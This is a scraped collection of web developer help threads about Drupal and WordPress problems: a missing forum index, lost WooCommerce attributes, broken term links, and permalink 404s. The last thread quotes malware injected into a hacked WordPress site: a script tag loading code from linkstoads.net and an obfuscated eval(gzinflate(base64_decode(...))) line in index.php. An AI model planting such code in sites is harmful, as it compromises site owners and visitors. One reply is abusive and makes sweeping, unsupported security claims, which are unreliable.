Drupal 6: No forum index page (Advanced Forum) - drupal

I've got a strange senario/question for you.
I'm running drupal 6 with advanced forum (although my problem doesn't go away if I just use the forum module that comes with drupal)! Everything has been fine and so I've left it untouched (not open to the public) for about a month while I've been sorting out legal work...
I came back to it a few days ago only to find 'http://mysite.com/forum' (I'm using clean URL's) does not exist!
I've tried everything I can think of! Even silly things like 'http://mysite.com/forum s'. But it doesn't even appear to be there in Content Management > Content!
I can get to the individual posts and even the individual catergory/containers - I'm just missing the index page!
I've tried disabling and re enabling the advanced forum module, reseting it's settings and even clearing the site cache! Non of which made any difference! I was going to try typing the node in, but I wasn't sure what it was!...
Please help me as soon as possible!
Thanks in advance,
Andy
Latest
Okay, just to clarify exactly what's happening and what I've done so far after 'ax's' wonderful assitants:
Whats Happening is, I get Drupal's 404 Page Not Found message/page when trying to get to www.mysite.com/forum! The strange thing is though, by typing the URL of the individual sections/catergorys I can see them, and all the posts inside etc!
I have, been into sites/all/modules/advanced_forum/advanced_forum.module and look at the variables in the advanced_forum_page($tid=0) function.
First, I just created a post/topic in the forum var_dumping all the variables in the function! They all returned NULL.
But then in the function, I one by one var_dumped all the variables, after the line they were first used (in the function), I deleted the var_dump line for each variable after I refreshed the forum page, so there was only one var_dump in the function at once. The strange thing was nothing appeared on the page, even when I tried `drupal_set_message(print_r($variable));!
So, I don't know and I just need it fixing asap please! ... Thanks in Advance

you can try two solution:
Reinstall the module instead of deactivating and reactivating it (you will lose your current categorization, however it seems like your forum is empty right now).
Build a new installation to make some tests, enable the advanced forum module and take a look at the index page of the forum to see if it's replicable.
Take a look at the issue queue of the module too, maybe someone else had the same problem.

Just figured out what was going on, and therefore was able to sort my problem out myself!
It was the most stupid thing as well. For some reason, I had an empty folder called... you guessed, 'forum' in the root of my website and as soon as I deleted it, I saw my forum index for the first time in ages.
Obviously, Drupal was looking in the folder instead of using the module etc... (You Know...)
Anyway, thanks for your attempts to help me - much appreciated!
-- Andy

Related

WooCommerce product attributes gone

I've been working on my WordPress/WooCommerce site all morning. An now, all of a sudden, my Product Attributes have no values.
If I add a new product attribute value (via the product attribute page), the new value also does not show.
If I look in the database, all the values are there and the data looks perfectly fine, references and all.
I've done nothing to the taxonomy terms (except read them in a little theme code I'm writing).
I've even looked at my GIT and nothing has changed that has any impact on product attributes.
I am completely stumped as nothing is making sense. I'm starting to wonder if it's bad mojo, as another site of mine has also decided to magically stop working without reason.
Any ideas anyone? I'm a tick away from going nutts.
Okay, seems to have been a full HDD on the VM machine the wordpress was running on. Once I freed up some space it all started working.

Wordpress: Term links skip archive page and go straight to latest post

I am experience a strange occurrence on one of my client websites. As of last night the custom post type terms(categories) links seam to skip their natural behavior of going to their respective archive page(archive template) and instead go straight to their most recent post(single template). Does anybody know what could change the normal hierarchy behavior in such a way ? is more information is required please ask i and i will provide to the best of my ability. Thank you for taking time to look at this.
Sample of wrong behaviour: http://www.bekjempsvartarbeid.no/betong/
Clicking the "Rogaland" link should bring you to a archive listing page, but instead shows you the most recent post of that category. Notice the URL.
Well as it turns out the issue was related to some new conditional statements in the functions file. If anybody is curious i will explain in more detail.

modify wordpress search to display author pages

I have been looking around the web but could not find a solution to this problem. Right now the search function in Wordpress - as I understand it - goes through the posts and looks for matching words. That is fine, however I am working on a site right now where I wont have many posts / any posts. I will however have a lot of users - let's call them authors even though they won't be writing anything. I want the normal search to go through the author pages and display results based on what is written there.
Is this possible? I do understand a bit of code but mostly copy of tutorials.
Thank you so much in advance!
since you didn't provide any code attempts i will stick with a plugin solution..
try this
https://wordpress.org/plugins/amr-users/screenshots/

What could possibly cause a 404 error when the apparent url is correct in Wordpress?

I have one page that returns a 404 error and it is just mind boggling why this is happening. Please see this page: http://www.cra63.com/eventos/
It's the first link, 50 Aniversario 2013.
All other links work. But, not this one. Crazy. Is it a cache issue of some sort? I don't have a cache plugin installed, so I can't think of anything else.
When in the admin panel, the preview button loads the proper page with no problem. I have looked at the url 50 times and it seems to be correct.
Permalinks is set to /%post-name%/.
I'm not a novice although this apparently silly question makes me feel like I am.
Please help. Thanks!
Please duplicate page plus update URL accordingly (after you rename it).
You may enable WP_DEBUG - visit this codex article
One more idea, consider integrating an optimization plugin and run it often. A broken link checker is powerful too.
Ya neva know what the problem can be! Hopefully, it doesn't happen again...
NOTE - This was resolved by simply renaming the permalink from:
50-aniversario-2013
to ...
50th-aniversario-2013
When using a different name, aniversario-2013, it wasn't fixed. So, all I can suggest is to rename the url/permalink. But, this is definitely not a fix in my book. Call it a bug!

A link to a linkstoads.net in my wordpress blog, probably a virus. How do i get rid of it?

Recently (last 2 weeks) this line of code appeared in the footer of a wordpress blog :
<script type="text/javascript" src="http://linkstoads.net/keller/link.php?id=3" name="linkstats"></script>
I did not put that here. I have no idea about what it does ; but I want it out.
For my first try, I just replaced the template and it was gone for a few minutes. But it came back.
So i got to my index.php file (not the template, the very first index.php) and found that code :
#c3284d#
eval(gzinflate(base64_decode("JcxLDoMwDEXROVL3EHkBeMCsfLqRTKxgKYE0WLFVtbsvkOnRe5dDPBxMGmoSc/YTnj0Yfw03+lBjD05rOD2ayRMxp7KrHbRqX9hw55y53tpLlFda5+G8FHpfrTYmUw/LhC24wPjo/g==")));
#/c3284d#
So I removed it, but it came back again the next day.
How is that possible ? I'm a newbie about viruses and security, so the answer may be really basic.
Congratulations! You have been hacked! Most likely you haven't haven't updated your software in quite some time and multiple hackers have exploited some well known vulnerability in your software.
How do you fix it? Scorched earth... You have been hacked by many bots, and probably sold online like some kind of whore. Delete your entire web root and start from scratch. Make sure you have the latest versions of every plugin and Wordpress.
For the record Wordpress was written by monkeys or children or children monkeys... Regardless it is by far one of the worst application I have ever hacked. They are probably still using your password hash as the session id, which means they don't even understand the basics of why you should hash passwords.
Oah if you keep getting hacked, higher a professional.
Problem solved, wordpress is not responsible for it.
There's a trojan that infect filezilla and when you open it, it'll inject code in every pages it can reach via filezilla.
This is really a big deal and 3 antiviruses could not even find it.
If you see that, format your computer.

Resources